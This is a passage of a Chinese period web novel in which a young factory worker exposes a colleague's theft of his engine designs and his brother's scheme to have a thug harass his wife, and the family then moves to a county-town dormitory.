汪旭面色大变,急急呵斥道:“你胡说什么,我的草稿图上怎么会有你的标记?这跟你有什么关系?” 他又转头看向董科长,万分焦急愤慨道:“科长,书记,不要再听这个乡下小偷胡言乱语了,将他立刻赶走才是,以免破坏我们厂里的纪律作风。” 这几乎歇斯底里的态度,让宋书记三人变了面色。 这还真是反转了…… 董科长看了汪旭一眼,又看向唐清江,正色道:“你说这上面有你的标记,在那里?” 唐清江眉头微挑,不疾不徐道:“我习惯性在稿纸上写时间和编号,按照日期来找就行。” 他分别说到草稿上标注的日期都画了什么设计图。 半晌后。 董科长当着宋书记的面,按照顺序,一张张把那些草稿图对应了一遍,确认每一张确实都有标记,而且位置和样式都完全无误。 董科长抬起头,目光沉沉看向汪旭:“你说这是怎么回事?” 汪旭一咬牙道:“科长,我的草稿图上确实有这些标记,那是我的画图习惯,没想到居然被唐清江给发现偷记下了,他这才……” “啧……”唐清江实在忍不住冷嗤一声。 他眼皮微抬,瞥向汪旭漫不经心道:“你的习惯?既然是你的习惯,那么你把我刚刚说的标记样式和位置再重复一遍应该没问题吧,你身为动笔的人,肯定会比我这个偷看的记得牢?” “你……” 汪旭呼吸一窒,额头上几乎浮起一层层冷汗。 第526章 无辜 宋书记看着两人反应,哪里还不会明白事情始末。 这分明是汪旭抄袭了唐清江还想要诬陷唐清江! 宋主任当即便肃声道:“汪旭同志是吧,对于唐同志的建议,我也认为很合适,请你现在重复一遍图纸上的标记。” “我……”汪旭抬起头,目光哀求地看着宋主任,又慢慢看向董科长。 他刚刚整个脑子都是昏沉的,根本半点都记不清了。 唐清江这个神经病,为什么会在每一张草稿图上还做什么标记啊?而且还全部都记住啊? 董科长脸色寒到极点:“你平时是个很伶俐的人,现在这样结结巴巴,看来是不打算再辩解了。” 汪旭面色瞬时苍白,颤抖着嘴唇道:“科长,不是,不是这样的,我……” 董科长毫不留情道:“弄虚作假是思想作风问题,而偷东西这更是触犯法律问题,既然你不想说,那么我直接打电话请公安同志来一趟,想必会更加合适。” “科长!”汪旭瞬时不再畏畏缩缩,疾速冲上前一把阻止他的动作。 董科长一把甩开他,喝道:“身为农修厂的老员工,你干出这种丧行败德的事,还想让我手下留情吗?” 汪旭踉跄几步,却是继续极力恳求道:“科长,不要叫公安,不要……我不是故意的,我就是无意中捡到了那幅设计图,想着明天市里的专家要来,想着能够借此露个脸能跟随专家学习将来为厂里做贡献,我才一时糊涂……” “哼,一时糊涂?”唐清江目光淡漠的开口,“设计图薄薄一张,就当是你无意捡到还有可能,那这些草稿图呢,这么一堆,难道说也正好刮了阵东风,就吹到了你手上?科长,我作为受害人,请求报公安处理。” 汪旭本来面色苦极,听到他某一句话时,却是瞬间眸子一亮,立刻大声解释道:“没有,别报公安,我真的没有偷,设计图是我捡的,但那堆草稿图是有人特地送我的,真的,有人送我的,跟我无关,我真的没有偷!” “别人偷来送你的,你没撒谎?”唐清江看着他,眸色深沉。 汪旭连连点头:“对!就是别人从你那偷的,跟我无关。那些草稿图,就是今天中午有两个人找上了我送给我的,我可以帮你去跟公安指认他,就连你小学毕业的事,也是他们告诉我的。” 他语速极快,仿佛生怕唐清江不给机会似的。 董科长和宋书记都面色难看起来,这时有人在故意陷害他们农修厂的员工啊。 宋书记温声道:“唐同志,既然如此,今日下午便放你半日假,你去将此事好好处理了。” 董科长也道:“嗯,有什么困难的话,就报上我们农修厂的名号,县里的公安同志们也多少会给些面子。” 宋书记点点头,表示支持。 一辆警务三轮摩托车,跟在唐清江的拖拉机后面,开进唐家村的时候,立刻引起了一阵热闹的围观。 不少原本在地里干活的人,都停下了手上动作,伸长了脖子看。 更别说那些正新鲜的小孩子们,直接就成群地追在摩托车后面跑了起来。 摩托车,这可真是个稀罕物了。 拖拉机和摩托车最终在生产队门口停了下来。 知青点离这里很近,林盛路和唐年正在一起,听着动静,便也走出来看了几眼。 坐在拖拉机里的汪旭,当即双目一红,指着两人道:“就是他们,就是他们偷了你的图,然后给我的!” 林盛路和唐年也认出了汪旭,瞬时色变。 而原本站在三轮摩托车旁的两名公安同志,听着汪旭的话,已经立刻冲了过来,将林盛路两人给控制住。 “有人报告你们偷窃国家机密,请跟我们回警局配合调查。” 唐年仿佛一道天雷劈到头上,立刻睁大了眼,拼命挣扎起来:“什么国家机密,我没有……是不是有什么误会?” 林盛路也道:“公安同志,恐怕有误会。” 这时,汪旭为了摆脱自己的干系却决然补刀道:“没有误会,就是他们偷了唐清江的设计图,那设计图是有关发动机升级改进的,将会对我国的运输等行业带来极大提升,就是属于国家机密。当时他们偷偷给我的时候,不远处街上修鞋的大叔应该看到的。” “……”林盛路和唐年恼怒至极。 没见过这样坑队友的。 还有,为什么普普通通的一堆破图,现在会上升到国家机密的范围?唐清江乱画的图能有那么厉害吗!太离谱了! 公安立刻将人押了起来,厉声道:“先跟我们回警局配合审问调查。” 唐年面色白到极点,可怜兮兮地看向唐清江:“大哥,这肯定有误会,你跟公安同志说一下,我根本没有偷你的图,更别说什么国家机密了?” 唐清江冷笑:“如果真是无辜,公安同志会调查清楚,还你清白。” 他话音落下的同时,一道身影正好从不远处的田间冲了过来。 赫然是唐母。 她看着唐年被公安控制,还模糊听到跟自己大儿子有关,当即便对着唐清江喝道:“你怎么回事,年年可是你亲弟弟,你怎么能对他,就算有什么误会,一家人还不能说清楚吗,你还把公安叫来吓唬他?” “谁有兴趣吓唬他。”唐清江淡淡瞥向他们,神色冷漠。 唐母知道这儿子是没有心的,奈何不了他,便赶紧去看向公安同志,祈求道:“同志,同志,这是个误会啊,放了我家儿子吧,这都是一家人,就算真有什么东西丢了,那也是他弟弟跟我们家老大开个玩笑呢,不用这么当真的啊,……” 唐母连声求道:“公安同志,这就是家里人闹着玩呢,就不麻烦你们了啊,年年还小呢!” “对啊,都是一家人,怎么还搞得要见公安了?” 围观的人看着唐母为了唐年求饶的可怜模样,也忍不住小声地议论起来,显然也是对唐清江做事无情冷酷颇为不解。 第527章 胡扯的能力简直登峰造极 就在这时,一道尖锐的呼喊声响起。 “对不起,对不起,公安同志,我知道错了,我来自首了!” 众人的注意力瞬时转移,往那声音源头处看去,却见是他们村里最人厌狗憎的二流子,正高举着双手,一脸恐惧地做出投降模样。 这是搞什么? 村里人都微微迷惑。 唐年和林盛路看见他,却是瞬时浑身一颤,只感觉大事不好。 公安同志眯了眯眼,冷声问道:“你说你来自首,你干什么坏事了?” 二流子余光从唐清江高大的身影上扫过,想起昨天半夜时,这人突然如杀神般降临的模样,双腿几乎又要颤抖起来。 他咽了咽口水,才按照这人教的话,吞吞吐吐道:“我主动自首,我不该收了唐年的好处,然后就听他的话去对他大嫂苏青莲耍流氓,我不是故意的……我现在主动自首,能不能……” 此言一出,场面几乎静止。 苏青莲?那不就是唐清江的媳妇。 这唐年跟唐清江什么仇什么怨,先是偷他的东西,现在又让流氓去欺负他媳妇。 这简直了…… “哎?这里干什么呢?围一圈人?” 一道清脆的声音缓缓传来。 唐清江抬眸,正好看到小妻子正好奇地垫着脚站在外圈,拼命想往里面看。 他嘴角微勾,招了招手:“过来。” 苏青莲一眼看到自家老公, 立刻忽略了其他,拨开人群乐颠颠冲过去,仰着头笑容灿烂问道:“你今天怎么这么早就回来了?” 唐清江牵着人, 随意道:“回来办点小事。” “哦……”苏青莲眨着眼睛应了一声。 就在这时,苏青莲余光一扫这才发现站在一旁穿着警服的公安同志,还有那个昨天才欺负过他的臭流氓二流子。 苏青莲当即面色一变, 十分激动道:“公安同志, 你们是来抓这个臭流氓的吗,太好了, 这家伙就要被好好教育教育!” 闻言, 那二流子立马又大喊道:“嫂子! 昨天那事是我的错,但这我不是主谋啊,是唐年, 是他给好处支使我, 我才那么干的!” 苏青莲瞪大眼,这她是真没想到。 这时,她也才注意到唐年和林盛路,似乎也是被公安同志控制了。 她情绪一上脑,立马冲上前揪住唐年的领子, 一旁站着的唐母都被他给直接撞了个趔趄。 “好啊, 居然是你这个家伙指使二流子的, 你敢这么害我?唐年!” 公安同志哭笑不得, 赶紧拍拍苏青莲:“这位女同志,你冷静一点, 我们会调查清楚,还你公道的!” 唐清江去把张牙舞爪的小妻子儿给牵了下来。 唐年这才喘上几口气, 却仍是硬着嘴道:“你听这个小流氓胡说,他就是看到公安吓疯了,在这里发癫呢?” 唐母也赶紧附和道:“对对,我们年年怎么可能跟这个小流氓有什么接触?” 二流子一听这话,更不高兴了。 他当即大声反驳道:“谁胡说了,你给我的好处我还留着呢,那可是一个金戒指,要不是这种好东西,我哪有胆子敢去欺负唐清江的女人啊,耍流氓可是大罪!我以前那顶多就是在村里摸几个鸡蛋而已……” 说着,他慢吞吞从口袋里摸出个金戒指,递了过来:“公安同志,这就是证据,我主动上交了,能不能从轻处理啊。” 其中一位公安立刻伸手接过,冷冷道:“等查清楚再说。” 而这会儿。 在场的其他人全全都变了脸色。 唐年和林盛路几乎是两眼一抹黑,没想到这个臭流氓居然连这都舍得拿出来。 唐母也变了脸色,隐秘地看了唐年一眼。 金戒指,年年哪来的这玩意?难道他又去投机倒把了…… “天啊,居然真是金戒指,难怪这二流子以前顶多小偷小摸,抢孩子糖吃?现在居然敢耍流氓了?” “还真给这二流子一个金戒指了,这唐家条件虽然不差,但什么时候能这么大手笔了?” “不对,应该是唐年干嘛要这么害唐老三两口子啊?不是亲兄弟吗?” 旁边围观之人,也开始议论纷纷。 苏青莲死死盯着唐年:“唐年,我跟你什么仇什么怨,你要花这么大代价这么害我?” 唐年躲开他的目光,嘴中却坚决否认道:“他胡说的,这金戒指跟我没关系。” 就在这时,唐清江突然道:“青莲,我记得你说过,前天上山摘果子时正好看到他们两偷偷摸摸地在山上挖什么东西?” 苏青莲一愣,她并没有这么说啊,她只是看到唐年他们上山了而已。 苏青莲顿了下立刻就反应过来,狠狠点头赞同道:“对,但是我当时并没有注意到什么异常,可现在这么一想,唐年好像就从那之后开始发疯了,难道他们当时在干什么见不得人的事,被我撞破了?” 公安自然是最敏感的人,一听这话也生了疑惑,立刻看向唐年:“同志,坦白从宽。” “……” 唐年和林盛路瞬时面色煞白,没想到居然弄巧成拙了。 半晌之后,在村里民兵的帮助下,公安从山上某处挖出了一箱金银珠宝,在一块的还有一些违禁品。 这种东西也敢藏,公安都没想到他们这么大胆。 在唐母的撒泼哭喊声中,唐年和林盛路都被带走了。 聚在一起的人群也慢慢散去。 唐清江两人牵着往家中走去。 苏青莲转过头,好奇地看着唐清江:“老公,你怎么知道唐年在山上挖到了那么多金银珠宝的?” 唐清江摸摸他的脑袋:“我猜的。” 唐清江解释道:“我昨夜不是出去了一趟吗?” 苏青莲想起起昨晚的事,哼哼唧唧道:“嗯,那会我问你的时候,你不是说只是上厕所吗?” 唐清江看他一眼,十分镇定:“哦,大概那会我记错了吧。” “……”苏青莲震惊。 她老公这随口胡扯的能力,简直登峰造极了。 你不是向来过目不忘的吗,上厕所还是出门这点事,也能记岔了? 第528章 她就是这么务实善变的人 昨天夜里,她睡得迷迷糊糊时,感觉身边有动静,睁开眼发现是她老公,又看她穿戴整齐,似乎出去了一趟,就随口问了一句。 结果,她老公不但不承认,还硬是冤枉说自己肯定是想他了、想要了,借此狠狠欺负了自己一通,一直折腾到鸡叫。 咳咳……虽然本质上,是她半推半就的。 唐清江就看着自家小妻子说话说得好好的,突然就脸蛋变粉。 他忍不住伸手轻轻捏了捏,一边面不改色地解释道:“我昨夜之所以起来,是去教训了那个臭流氓一番。” 苏青莲这下不仅脸蛋粉粉,心也软软了,伸手抱住了自家老公:“老公,你真好,大半夜还去帮我报仇。” 苏青莲暗道老公半夜出门打人辛苦了,回来之后亲近一下自己怎么了。 这怎么能叫折腾呢? 这明明是爱意无处抒发! 嗯,苏青莲就是这么务实善变的人。 想罢,她抱着唐清江的胳膊继续问道:“所以,是那个二流子被打了之后,告诉了你,他和唐年之间的勾结?” 唐清江点头:“差不多,当时那流氓也把金戒指拿出来了,我便觉得奇怪,唐年手上并没有那么松快,而且你跟他也就是口头上的争执,不至于让他花费这么大的代价来针对,这中间肯定有门道。” 苏青莲也深深点头:“对的呀,其实自从分家之后,我都懒得理他了,话都没再说过几句,每天都带着阿愿好好学习呢!” 她仰着脸,对唐清江卖乖撒娇。 唐清江垂首在人白净的额上亲了一下,方才点头道:“是,所以才古怪,你跟他最近没怎么没接触,也不至于得罪他,除了前天因为饭菜争执时,你随口提起一直在盯着他,还说了他在山上烤小鸟吃的事情,我便想到,他突然好好的针对你,是否以为你在山上看到了其他什么事,所以心虚而发疯?” “原来是这样!”苏青莲一拍掌,漂亮的眉头蹙起,愤愤道:“哼,所以,他让流氓去欺负我,就是想让我自唐不暇,没办法再花精力去注意他上山的事吗?” 唐清江摸摸他的脑袋,淡声道:“可能。” 昨天打完那流氓后,他就感到了一点不对劲。 那二流子在村里这么多年,偷鸡摸狗,欺负小孩,却没被赶走,就是因为还没触犯村人底线。 要说他垂涎苏青莲美色,但他也不是第一天知道苏青莲,怎么会刚好昨天就突然敢发了疯地耍流氓。 除非是有什么其他原因? 苏青莲肯定触犯到他们的利益了。 其实也不算难猜,这两人一直都在投机倒把,且多次去山上,二流子又拿出了金戒指,稍一想就知道东西藏在山里。 苏青莲崇拜地看着唐清江,往他身上一蹦:“老公,你真聪明,料事如神,来,亲一下。” 唐清江一把接住人,搂着掂了掂,还是太轻了,要继续养一养才好。 第二天,唐清江去农修厂上班时,董科长就把他叫过去,了解了一下草稿图被盗的情况。 唐清江没什可隐瞒的,把事情都说了清楚。 董科长对此颇为无语,不过也没多说什么。 这年代,稀奇事太多了。 最后,他告诉唐清江,汪旭已经被农修厂辞退了。 另外,市里的领导和专家待会就来,唐清江的那份设计图,经过研究后,也会上报给市机械厂,毕竟他们县农修厂压根没有单独研发和生产发动机的能力。 对这两种处理,唐清江都没有什么意见,早在意料之中。 董科长点头赞叹道:“你这新型发动机的设计概念很不错,我看了也只明白个大概,待会等市里的专家来了,估计还要上去讲解一番。” 唐清江漠然点头:“可以。” “……” 董科长看着他,一时无言。 怎么就这么这么冷淡。 正产人听说这消息不是激动就是慌乱,偏偏唐清江还是这副淡淡的样子。 不过,有才华的人,就算傲慢也是恃才傲物,并不叫人讨厌。 而很快,他就更深刻了解了这词的意思。 宽敞明亮的会议室里。 董科长坐在位置上,捧起茶悠悠地喝了起来,而环视左右,其他几位领导也是跟他差不多的状态,甚至有人无聊地打了声呵欠。 至于长桌最尽头处,市里来的两位专家正拿着设计图,在跟唐清江激烈地讨论着。 董科长嘴角勾起。 想到刚开始时,他把设计图纸拿给市里的专家看,告诉他们这是他们科里一个小年轻独自设计的,专家们还万分不信。 而等把唐清江叫过来,当着他们的面讲解了几句之后,市里的专家就如获至宝般将人拉到旁边,亲切细致地问询交谈起来了。 到现在,已经过去快半个小时了。 正在这时,那专家转头看向一起来的市机械厂领导,十分兴奋道:“部长,我们都觉得这个设计的可能性很高,如果研制成功,将来不仅拖拉机,甚至小汽车、大卡车的发动机,都能用这个原理去改进升级,我们市机械厂一片光明啊。” 部长听到这话,也立刻整个人都振奋了:“真的?那就太好了,那回去后,我们就立刻向上报告,考虑立项研究!” 另一位叫专家则直接对唐清江道:“小同志,你要不要跟我们一起回去?你是发动机设计者,到时候项目组成立,有你加入必然更加如虎添翼。” “咳咳……咳咳……” 就在这时,桌子的另一头响起几声清晰的咳嗽。 众人抬头一看,那里坐着的正是农修厂的孙副厂长。 县农修厂的正厂长,是他们的县委书记,但政府的事就足够忙碌,所以他并不常来,平日都是由孙副厂长主持厂内各项事宜。 市里的领导和专家尴尬地笑了笑,似是突然反应过来,唐清江现在还是农修厂的人呢? 林部长赶紧看向孙副厂长道:“嗨,对对,这事还要和老孙好好商量商量……” 孙副厂长点点头,这还差不多。 唐清江:“……” 所以,他这个当事人的意见不重要是吗? 第529章 你是那种任骂任哭的人吗 最后,经过两边的商量,他们暂时先回去上报这个项目,等开会讨论完,提交报告成功立项再说。 研制新型发动机不是小事,必然要经过很多轮的开会和考量。 而等立项成功后,也还得慢慢走程序,等财政拨款、买机器建生产线,反正这两头加起来,至少也得几个月才能结束。 那这段时间,唐清江去了市机械厂也没事干,就暂时还是呆在县农修厂。 孙副厂长决定把唐清江立成个典型,在农修厂宣传,鼓励所有的工人热爱,勇于创新。 唐清江就在这段时间,指点一下工人们相关的机械知识。 当然,与此同时,农修厂也会提升他的待遇,从普通工人提成研究员,而且还另外有研发出新型发动机的奖金。 傍晚,唐清江从县城回家,拖拉机刚开到村口,照例一眼便看到了蹲在村口大树下的两个小团子。 两个小团子听着“突突”的动静,抬起头看到人,两只都站起身子猛地冲了过来。 唐清江先把唐愿报上来,又把自己看着有点委屈的小妻子拉上来让她坐在一旁。 他双手扶着拖拉机往家中开去,边扫了眼小媳妇儿今日别样的沉默,和微微鼓起的脸颊肉,轻声问道:“怎么了,不高兴?” 苏青莲点点头,可怜兮兮道:“母亲今天一直在我面前哭啊骂的……” 唐清江眯了眯眼,不用想也知道,肯定是因为唐年昨天被公安带走调查的事。 他轻笑道:“你是那种任骂任哭的人吗?” “……”苏青莲抬头狠狠瞪唐清江。 自己在老公心里,就是这么个形象吗? 苏青莲撇撇嘴道:“母亲都那么大年龄啦,突然遇到这么个变故,我怕自己一个不注意,说话太重,给她刺激个好歹出来。” 顿了顿,她又继续道:“而且,这种事很复杂的,你别看现在唐年做了这么多坏事,村里人觉得我们挺惨的,但是时间一长,看着我们越过越好,唐年可能会坐牢,母亲又那么大年龄,大家肯定都会在心里说我们无情无义啦之类的,哼……” 苏青莲还挺明智。 这也是唐清江对今天县农修厂提升的待遇,很满意的原因。 他侧头看了眼身边人,淡声道:“没事,明天就见不到这些了。” “啊……”苏青莲懵懵地睁大了眼。 唐清江:“发动机设计图交上去后,厂里提升了我的待遇,工资涨了点,还提供了县城宿舍,我们直接搬过去住就好。” 苏青莲双手紧抓着他的衣摆,难以置信道:“老公,你说真的?” 唐清江轻拉手刹,停住拖拉机,淡淡道:“我今天特地把厂里拖拉机开回来,就是为了方便明天搬家用,再说,我什么时候骗过你。” “……” 苏青莲差点翻白眼。 你忘了,你昨天才哄过我。 不过…… 苏青莲转过身猛地搂住唐清江的腰,脸颊在他硬邦邦的腹肌上蹭了蹭。 这种事,老公肯定不会骗她的。 嘿嘿,她能去县城住了。 她要去县城住了。 “阿愿高不高兴,以后我们要搬去城里啦。”苏青莲抱着唐愿笑眯眯的,唐愿手里拿了个算草本,那是唐清江在农修厂带回来的,她在拖拉机上还在验算数据,听到苏青莲黏黏糊糊的挤过来有点无奈。 小小的人表情还挺丰富。 唐清江停了拖拉机后对唐愿说:“阿愿可以让父亲看看你的小本子吗。” 唐愿立刻点了点头。 唐清江翻开本子看了眼眉梢微挑,这是他设计的那些发动机图纸的数据,小家伙竟然也能有样学样的算出来。 看来他们的阿愿是真的小天才啊。 这样的话他的确需要为阿愿好好考虑未来的路了。 “你在想什么?”苏青莲看他出神问了句。 “想以后要带你和阿愿去京城。” 虽然他们还没去县城,但苏青莲就是觉得唐清江没有在说大话,他们以后一定会搬到京城的。 想到这里苏青莲眼睛都是弯弯的。 唐家村到县城再到京城,她老公超棒。 一家三口回家之后,唐母就直接朝着唐清江扑了过来。 “老大,你帮帮你弟弟!他不能一辈子就这么毁了啊!” 她口中翻来覆去还是那几句话,让唐清江去跟公安说唐年是无辜的,他们一家人只是开个玩笑,求公安放唐年出来。 苏青莲立刻气愤地冲上来道:“娘,你在开什么玩笑,这是好几起案件啊,牵扯的不止唐年一个人,老公厂里的同事都被辞去配合调查了,那臭流氓也被抓了,你让清江现在去翻案,那诬告犯法的就是清江了,要坐牢的就是清江了,你想害死他吗?” “就算你一直都偏心唐年,但也不是这么个偏心法吧!” 唐母目光微闪,但却不肯放弃,依然对着唐清江哭道:“老大!年年他是你亲弟弟啊,他还那么小,他……” 唐清江眼皮轻抬,漠然道:“娘,我要是你,我就及时止损,你从小那么宠唐年,不就是因为早年有人算命说他有福吗,可是哪有人把自己给福进监狱里去的?” 唐母霎时一怔。 唐清江嘴角轻勾,继续道:“所以,说明命什么的都是巧合,不要想那么多了,还是要好好过日子的好。” 听了这话,唐母嘴唇轻抖,瞪着唐清江嗫嚅半天,却始终说不出话来。 是啊,她早该知道老大心狠了。 偏偏小儿子还不服气一定要算计他,算计自己进去了。 就像老大说的,她再怎么闹也不会改变现状了,倒不如好好过日子。 …… 前一天在厂里时,唐清江就跟领导请过了假,安排了今天搬家。 他们东西并不多,把整个房间搬空了,拖拉机也才刚刚装下,完全不似现代搬家,动辄就是几大车。 拖拉机开出唐家村的时候,不少在田间干活的人,都伸长了脖子看。 昨天傍晚,唐清江特地等着大家记工分的时候,去大队里跟队长唐玉树说了要搬家这事。 第530章 怨种老熟人 唐玉树做事利索,马上把苏青莲的粮食关系转一下,唐清江也对唐玉树这些日子借他自行车表示感谢,顺便送了点布票和肉票当谢礼。 在场的村人都是一阵惊奇,原本唐老大进城当工人就够大家羡慕了,没想到现在居然就直接搬进城了。 大家又听说,居然就是那被林盛路和唐年偷走的图纸,立下了大功劳让厂里给他分了房子。 当即,所有人都觉得,唐年确实挺过分的。 要是他们丢了这么贵重的东西,肯定也报警了,那谁能知道居然是出了家贼,最后抓走了唐年,这事真不能怪唐老大无情。 唐清江显然对大家的反应很满意,虽然他压根不在乎村里这些人的看法,但是任谁被平白误会都是不好的,更何况还能将唐年和林盛路越发踩到泥里。 现在正是六月中,天上太阳正烈。 拖拉机扶手、包括座位上都被晒得发烫,但这点小磨难,显然完全影响不了苏青莲的心情。 她就抱着唐愿坐在后面的车厢里,一路快活地唱歌,调子极为嘹亮清澈,虽然都是奇奇怪怪的节奏,但是架不住声音好听。 听了半个小时,唐清江都依旧觉得很悦耳,只有唐愿昏昏欲睡。 一直到拖拉机开进县城,苏青莲的声音才小了点。 唐清江七拐八拐的,最后在一个大院前停下。 昨天下午,厂里的人事就带他过来看了房子,钥匙也给了他,他记性向来好,自然把地点记住了。 苏青莲看着这地,也十分高兴:“哎呀,原来是住这里,这里好啊,我喜欢。” 这边属于是新修的大院,条件特别好,听说家家都有自来水、卫生间,不用每天早上挤在一块抢水刷牙、做饭的时候也不用打起来。 而且,听说院子里不仅有花坛,还有滑梯这些玩的东西。 大院门口来了拖拉机,很快就有几个在树荫下谈心的老头老太太,伸长脖子往外看。 苏青莲见到人就立刻热情的招呼了起来:“爷爷奶奶们好啊,我们是新搬进来的,以后大家好好相处啊。” 这长得好看本就有优势,更何况还会说话,大爷大妈们当即也热情地应了起来。 趁着唐清江在往下搬东西的时间,苏青莲就带着唐愿在这边社交。 院里的大爷们大大妈们,就都用一种尊敬的目光看着唐清江,开始议论纷纷。 “在农修厂上班,还这么年轻就是研究员了啊?” “这么快就能在我们这大院分到宿舍,真是了不起?” “对啊,将来前途无量啊!” 于是,一家三口就在重重围观中,一趟一趟地把东西搬上了楼。 甚至还有大爷大妈热情地上来要帮忙,被唐清江拒绝了。 这上下楼的,不安全。 而且,他们住在二楼,上下楼其实挺方便,唐清江力气也大,搬这点东西压根算不上麻烦。 他搬东西倒是让苏青莲在一旁休息。 惹得苏青莲不时盯着他手臂的肌肉。 等到了宿舍苏青莲把宿舍里里外外转了一圈,虽然只是个简单的两室一厅,还是上面照顾他知道他有孩子特地分给他的房子。 就这么简单的房子却差点被苏青莲给看出包浆来,仿佛是熊孩子遇到了什么绝世珍稀的玩具一般。 唐愿也是跟在她屁股后面这里看看那里看看的。 好半晌,她才砰地一声倒在了客厅的沙发上。 “累死我了!” 唐清江坐在一边,捏捏她的脸:“是嘴巴累了吧,跟人显摆够了?” 苏青莲捂着嘴乐了起来:“我刚刚表现地有那么明显吗?” 唐清江:“……” 你说呢? 两人坐了一会,唐清江又将人拎了起来。 他们今天第一天到县城宿舍,这边很多东西都没有,不出去买买买的话,到时候连口热水都没得喝。 听说要去买东西,刚刚还要死要活地苏青莲同学,又立刻恢复了精力。 下楼时,依然满面春风地跟大爷大妈们挨个叫了过去,同时还积极地表明这是要去逛百货大楼了。 嗯,又显摆到了。 真棒! 苏青莲几乎是一路蹦跳着往百货大楼去的,倒是唐清江抱着唐愿有点无奈,但看小妻子这么开心他心情也是很好的。 正所谓得意忘形,要不是唐清江拉着她就差一点撞到人了。 而且,还是个她自认的怨种老熟人。 “苏青莲……” 凌晓雨瞪大了眼。 苏青莲慢慢转过脑袋, 扬了扬眉头:“又是你啊,真巧!” 凌晓雨的阴沉目光, 从两人身上扫过:“巧什么,我天天来这,你一个乡下人能来百货大楼才是奇怪吧,你家那位赚得那点工资够你败得吗?哦, 不对, 今天可是上班日子啊,你们两人都在这, 不会他已经被农修厂给开除了吧?” 苏青莲笑着睨向她:“我倒不知道, 原来你还这般关心我们家的生活, 那以后可方便了,你干脆没事就买点东西来汽水厂的隔壁大院看看我好了,反正你以前不就是我的跟班吗。” 凌晓雨蹙了蹙眉:“你……你什么意思?” 苏青莲笑眯了好看的眸子,一派天真无邪模样道:“啊, 没什么意思, 就是想告诉你一声,我老公在农修厂做出重大贡献,已经升职了,并且分到了你家隔壁院的宿舍, 我们今天正好搬进来, 以后你要是还这么关心我, 咱们可以常来常往啊……” 这就是为什么苏青莲看到宿舍楼的时候得意开心的原因了。 因为隔壁楼就是凌晓雨家的大院宿舍楼。 “……” 凌晓雨张大了嘴巴, 差点把早饭都给直接呕出来了。 怎……怎么可能? 就这个乡下人,居然在隔壁大院分到了宿舍? 要知道她爸这个会计, 也是在汽水厂工作了七八年才被分到宿舍的。 “你在胡说什么?” 苏青莲冷嘲:“谁有心情跟你胡说?” “不可能, 我不信。”凌晓雨猛地摇头。 她不信,苏青莲这个家伙居然还能有重新爬回县城的一天。 第531章 倒打一耙的苏青莲 就在这时,凌晓雨却看到那个一个站在苏青莲身旁,高大漠然的男人怀里单手抱着个玉雪可爱的小女孩,然后空出手突然牵起苏青莲,冷冷道:“这人是谁,有必要和她浪费时间?今天第一天搬到新宿舍,要买的东西还有很多。” 苏青莲眨了眨眼,立马反抱着唐清江的胳膊,故意撒娇道:“对哦,老公,我们赶紧去买东西吧,你今天这假可是农修厂好不容易才给你腾出来的,厂里现在真是一天都离不开你,还催着你赶紧回去给同志们上课呢?” “……”唐清江。 苏青莲这立马顺竿子就上树的本领真是够够的。 不过,这点虚荣心,唐清江愿意满足。 他点点头,轻轻捏捏苏青莲的脸:“嗯,那还不快走?” 苏青莲嘻嘻笑了几声,跟在唐清江身后往前方的展示区走去。 凌晓雨看着两人离开的背影,想起刚刚苏青莲的模样,神情愈发难看起来。 从小,苏青莲就比自己长得好,而且家里还有钱,所以哪怕她性子泼辣、也总有一帮人追在他后面跑。 但是,自从苏家出事苏青莲到了乡下之后,凌晓雨便自觉从此两人的命运便清晰分明了,苏青莲会成为一个泥腿子,风吹日晒,会变成粗鄙的农夫。 但是,为什么现在看着,苏青莲反而更精神好看了,皮肤依旧白嫩,眉眼依旧神采飞扬,完全没有什么艰难生活的痕迹? 这也太不公平了。 苏青莲一个地主家出身的,明明苏家都败了,凭什么能跟自己相比、甚至比自己过得好。 …… 苏青莲却完全没再顾及到身后,而是全心扑到了面前的柜台。 那里满是各种生活必备用品,包括毛巾、肥皂、水瓶等等之类。 “这个好不好看?”苏青莲指着货架上一个红色带大花的暖水瓶,激动地回头问唐清江。 “……”唐清江酝酿半晌,点了点头:“好看。” 嗯,时代原因,不是因为小妻子审美天生土。 “我就知道。”苏青莲点点头,对着售货员道:“同志,我们就拿那个了,对了,麻烦问一下……” 售货员将那个暖水瓶拿下来,又给她指了路。 “好,走,向着下一处进发!” 苏青莲兴致高昂地拉住唐清江。 然后,唐清江就看着小妻子买了两条水红色的老太太专用毛巾,花红柳绿、色彩纷呈的盘子和碗,并且还十分的自鸣得意……她甚至还不忘记给唐愿也买了身红衣服,穿上跟年画娃娃似的。 “好看吧,瞧瞧多喜庆!” 唐清江点头,冷漠道:“嗯,好看,这颜色,不知道的还以为我们两马上新婚呢!” 苏青莲瞪他:“你什么意思?” 唐清江淡定道:“夸你有品位、时髦!” 苏青莲鼓鼓嘴,气哼哼道:“你以为我是傻子吗,我告诉你,我生气了,哄不好的那种。” 唐清江覻她一眼,好整以暇道:“刚经过国营饭店的时候,好像写了今天中午有烤鸭,不知道待会去买还赶不赶得及!” “赶得及赶得及!” 苏青莲咽了咽口水,一把拉住唐清江,认真道:“我们快去把东西买齐,然后去国营饭店,今天搬家了,要吃顿好的。” “嗯……” 唐清江故意拖长声音,十分优哉游哉地应了声。 真是个笨蛋。 半晌之后,出百货大楼时,身上基本已经没有空闲的地方,全都挂满了东西,就连小唐愿都只能被牵着走了。 苏青莲平时最爱撒娇的人,这会却是浑身的力量,紧紧抱着满怀的东西,跟在唐清江身后左突右进,然后成功在国营饭店抢到了限量供应的烤鸭。 县城地方并不大,百货大楼、国营饭店两地距离农修厂宿舍都不远,两人带着一堆东西,大约走了二十分钟便回去了宿舍大院。 凌晓雨躲在拐角处,看着那两人真的走近了院子,甚至看着他们拿钥匙打开了二楼的一扇房门,这才终于确定,而后不甘心地离开,进了隔壁院的大门。 宿舍内。 唐清江去卫生间洗了手出来,就看苏青莲依然保持着跟他离开去前一般无二的姿势,还坐在沙发上抱着那一堆东西,开心地摆弄来摆弄去,甚至还有闲心在唐愿头上戴了朵小红花。 他走过去坐下,随口道:“返老还童,玩玩具呢?” 苏青莲抬头瞪他:“返老还童,我现在很老吗?” 唐清江:“反正不年轻。” 他就是故意逗她,看她一抖一炸毛真的挺有意思的。 果然苏青莲又生气了。 原本抱在怀里的东西全部都推到了一遍,整个人往唐清江身上一扑,哼哼唧唧道:“唐清江同志,这是你今天第二次犯错了,你是不是嫌弃我了?这就是古人说得红颜未老恩先断?” “……”唐清江捏捏她鼓起的脸颊肉:“苏老师乱用词语,会带坏学生的。” 